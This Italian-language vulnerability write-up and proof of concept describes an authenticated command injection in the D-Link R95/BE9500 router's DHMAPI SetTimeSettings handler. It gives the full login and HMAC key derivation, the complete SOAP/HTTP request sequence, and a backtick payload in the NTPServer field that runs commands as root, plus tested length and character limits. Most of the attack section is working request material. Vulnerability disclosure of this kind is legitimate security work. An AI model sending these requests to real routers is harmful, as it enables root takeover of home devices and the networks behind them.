
PoC di command injection autenticato per D-Link R95/BE9500 DHMAPI SetTimeSettings, che consente RCE come root tramite backtick injection su NTPServer, con script di exploit completo.
Il D-Link R95 BE9500 Wi-Fi 7 Smart Router (versione firmware BE9500_1.00.16) contiene una vulnerabilità di command injection nell'interfaccia DHMAPI (SOAP over HTTPS) durante l'elaborazione delle richieste SetTimeSettings. Il campo <NTPServer> controllato dall'utente viene memorizzato nel database di configurazione senza alcuna sanitizzazione o validazione dei metacaratteri della shell. Successivamente, quando la configurazione viene sincronizzata con UCI (ntpclient.@ntpserver[0].hostname), il servizio backend vulnerabile costruisce ed esegue un comando shell racchiuso tra doppi apici tramite una chiamata di tipo system(). Iniettando backtick (```) nel valore di <NTPServer>, un attaccante può ottenere una command substitution — la shell valuta il contenuto iniettato prima di eseguire il comando concatenato, consentendo l'esecuzione arbitraria di comandi con privilegi root (uid=0).
L'attacco richiede una sessione valida di gestione web (sid) ottenuta tramite accesso autenticato (testato con l'account amministratore Admin). Questa vulnerabilità è ulteriormente amplificata dalle credenziali predefinite deboli del dispositivo o da potenziali problemi di bypass dell'autenticazione, espandendo significativamente la superficie d'attacco nel mondo reale.
Un attaccante autenticato può eseguire comandi arbitrari con privilegi root, portando alla compromissione completa del dispositivo — inclusa la lettura di file sensibili (ad es. il testo cifrato /etc/rg_config/admin, il dump completo dei backup di configurazione), l'installazione di backdoor persistenti, l'instaurazione di reverse shell e il pivoting nella rete interna per attacchi di movimento laterale.
La vulnerabilità risiede nel binario backend di gestione web /bin/ssi (in esecuzione come root), che implementa l'interfaccia SOAP DHMAPI.
Taint source — l'handler SetTimeSettings (funzione all'offset 0x6bd84 in ssi, firmware 1.01B06):
<NTPServer> dalla richiesta SOAP in un buffer dello stack, con lunghezza limitata a 0x3f (63 byte) — questo è un limite di dimensione del buffer, non un controllo di sicurezza.time.value.NTPServer tramite un setter interno — nessun filtraggio o escaping dei metacaratteri della shell viene eseguito in nessun punto.Taint sink — sincronizzazione della configurazione verso UCI. ssi sincronizza i valori di configurazione concatenandoli in stringhe di comandi shell eseguite tramite chiamate di tipo system(). Le stringhe di formato incorporate trovate nel binario includono:
uci set %s="%s" > /dev/null
Poiché il valore è racchiuso tra doppi apici, la shell esegue una command substitution sui backtick (`) / $() all'interno del valore prima di eseguire il comando concatenato. Dato che ssi viene eseguito come root, il comando iniettato viene eseguito con privilegi di root.
Le evidenze temporali confermano che la valutazione avviene in modo sincrono all'interno del percorso di gestione della richiesta: iniettando `sleep 10` si ritarda la risposta HTTP di ~10 secondi. Il valore avvelenato persiste inoltre in UCI (ntpclient.@ntpserver[0].hostname) e viene successivamente consumato senza apici da /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME), una lacuna di hardening secondaria.
Vincoli di sfruttamento (verificati):
| Vincolo | Risultato verificato |
|---|---|
| Lunghezza del campo | ≤ 63 byte accettati; 60 byte OK, 80 byte rifiutati (HTTP 400) |
Carattere & | Non deve comparire (rompe la riga di comando concatenata) |
| Sintassi di iniezione | Backtick `cmd` verificati; $(cmd) ci si aspetta funzioni ugualmente |
| Contesto di esecuzione | uid=0(root) gid=0(root) |
| Canale di output | Nessun echo diretto; reindirizzare alla web root (> /www/<file>) e recuperare tramite HTTP GET |
Tutte le richieste DHMAPI devono contenere:
Cookie: uid=<session cookie> (dal login)API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>API-ACTION / SOAPAction corrispondenti all'azione SOAP, più User-Agent e Referer (UA/Referer mancanti producono HTTP 400/500)ts è un timestamp in millisecondi; il dispositivo non valida la freschezza, quindi un valore fisso è riutilizzabileDerivazione di privkey:
Login / Action=request (firmato con la stringa di chiave statica withoutloginkey) restituisce Challenge, Cookie, PublicKey, SaltHashe = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (o la password in chiaro quando SaltHash è assente)privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))Login / Action=login con quanto sopra restituisce <LoginResult>success</LoginResult>; le richieste successive usano Cookie: uid=<step-1 Cookie> firmato con privkeyPOST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>
Atteso: <LoginResult>success</LoginResult>.

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>
